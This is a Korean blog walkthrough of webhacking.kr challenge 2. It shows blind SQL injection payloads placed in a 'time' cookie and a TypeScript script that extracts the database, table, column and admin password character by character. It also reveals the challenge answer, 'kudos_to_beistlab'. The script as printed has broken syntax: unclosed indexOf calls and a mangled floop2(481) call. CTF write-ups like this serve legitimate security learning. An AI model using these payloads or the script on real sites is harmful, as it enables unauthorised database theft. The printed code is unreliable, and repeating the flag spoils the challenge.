본문 바로가기

 

2번 문제에요.

배점은 500점, 분야는 DB인거같네요.

 

 

제한구역이고 내 IP가 기록되고 있대요.

 

 

당연히 이게 다가 아닐것이니깐 F12를 눌러서 HTML 코드를 보니,

admin.php 에 접근하면 엉덩이를 걷어차주겠대요.

 

 

우린 짱짱 멋있는 해커가 될거니깐 저런 멘트를 두려워 해서는 안되요.

admin.php로 들어가봤더니 비밀번호를 입력하라는 창이 떠요.

 

 

DB 문제이니 여기에 기본적인 SQL Injection 구문을 넣어보았지만,

 

 

여기다 넣는건 아닌거같아요.

 

그럼 어디서 접근해야 하는건지 찾다가

 

 

쿠키에 딱봐도 수상해보이는 time가 있었어요.

안수상해보인다고요?

암튼 수상하다고 하면 수상한거에요. ㅡㅡ

 



 

값을 true로 바꿔보았더니 html 코드 첫줄의 시간이 바뀌네요.

저기에 false를 넣으면 첫줄이 <!--2070-01-01 09:00:00--> 로 바뀌는걸 보니

여기에다가 Blind SQL Injection 을 날려서 비밀번호를 찾아야 할것 같아요.

 

공격 구문은

길이 추출 : 0 or length((select database())) = 0

문자 추출 : 0 or substr((select database()), 1, 1) = '0'

 

으로 했어요.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
import * as request from "request";
//import 끗
 
var url: string = "https://webhacking.kr/challenge/web-02/";
var charLen: number;
var opt: request.CoreOptions;
//변수선언 끗
 
function floop1(i: number): void
{
    var jar:request.CookieJar = request.jar();
    jar.setCookie("time=0 or length((select database())) = " + i, url);
 
    opt = 
    {
        jar: jar,
        headers: {"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0"}
    };
    
    request.get(url, opt, function(e: any, res: request.Response, body: any): void
    {
        // console.log(res.body);
 
        if(String(res.body).indexOf("2070-01-01 09:00:01"!= -1)
        {
            console.log(i + ", OK, break");
            charLen = i;
 
            floop2(481);
        }
        else if(String(res.body).indexOf("2070-01-01 09:00:00"!= -1)
        {
            // console.log(i + ", False");
            floop1(i + 1);
        }
        else
        {
            // console.log(i + ", ????");
            floop1(i + 1);
        }
    });
}
//강제로 동기 맞춘다고 재귀함수 만듬 아아아아악
 
function floop2(i: number, i2: number): void
{
    var jar:request.CookieJar = request.jar();
    jar.setCookie("time=0 or substr((select database()), " + i2 + ", 1) = '" + String.fromCharCode(i) + "'", url);
 
    opt = 
    {
        jar: jar,
        headers: {"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0"}
    };
 
    request.get(url, opt, function(e: any, res: request.Response, body: any): void
    {
        if(String(res.body).indexOf("2070-01-01 09:00:01"!= -1)
        {
            console.log(i2 + " " + String.fromCharCode(i) + ", OK, break");
            if(i2 < charLen) floop2(48, i2 + 1);
        }
        else if(String(res.body).indexOf("2070-01-01 09:00:00"!= -1)
        {
            // console.log(i2 + " " + String.fromCharCode(i) + ", False");
            if(i == 127)
            {
                 console.log("????");
                return;
            }
            floop2(i + 1, i2);
        }
        else
        {
            // console.log(i2 + " " + String.fromCharCode(i) + ", ????");
            if(i == 127)
            {
                 console.log("????");
                return;
            }
            floop2(i + 1, i2);
        }
    });
}
//재귀함수 2호
 
floop1(0);
 
//재귀함수 싫어ㅓㅓㅓㅓㅓㅓㅓㅓ
 
cs

먼저 DB의 이름을 뽑아내기위해 typescript로 코드를 만들었어요.

최박사의 재귀함수 혐오가 담긴 코드에요.

왜 하필이면 typescript냐고요? 그냥 편한거 쓰는거에요. 자기가 쓰기 편한거 쓰세요.

그리고 왜 48부터 돌리나고요?

ASCII 48번은 문자 '0' 이거든요.

 

 

DB의 이름은 chall2 라네요.

 

그럼 이제 위의 코드를 살짝 고쳐서 테이블명을 추출해야겠네요.

 

길이 추출 : 0 or length((select table_name from information_schema.tables where table_schema='chall2' limit 0, 1)) = 0

문자 추출 : 0 or substr((select table_name from information_schema.tables where table_schema='chall2' limit 0, 1), 1, 1) = '0'

 

으로 바꿔서 시도해보면?

 

 

테이블의 이름은 admin_area_pw .

 

테이블의 이름을 찾아냈으니 그다음은 컬럼의 갯수를 뽑아내야겠네요.

 

글자수를 찾았을때 호출될 floop2 함수를 막아버리고

 

0 or (select count(*) from information_schema.columns where table_name='admin_area_pw') = 0

 

으로 추출을 시도해본 결과!

 

 

갯수가 1개뿐이라네요.

 

갯수가 한개뿐이니 궂이 limit를 쓸 필요가 없으니 컬럼의 이름을 뽑아낼때는

 

길이 추출 : 0 or length((select column_name from information_schema.columns where table_name='admin_area_pw')) = 0

문자 추출 : 0 or substr((select column_name from information_schema.columns where table_name='admin_area_pw'), 1, 1) = '0'

 

 

컬럼의 이름은 pw

 

이제 마지막으로 값을 뽑아내면 끝나니깐!

 

길이 추출 : 0 or length((select pw from admin_area_pw)) = 0

문자 추출 : 0 or substr((select pw from admin_area_pw), 1, 1) = '0'

 

으로 돌려보면?

 

 

kudos_to_beistlab

 

 

이제 이걸 아까 비밀번호 입력하는 곳에 넣어주면 문제가 풀리겠네요.

 

 

 

빠밤!

 

 

 

문제가 풀렸네요.

댓글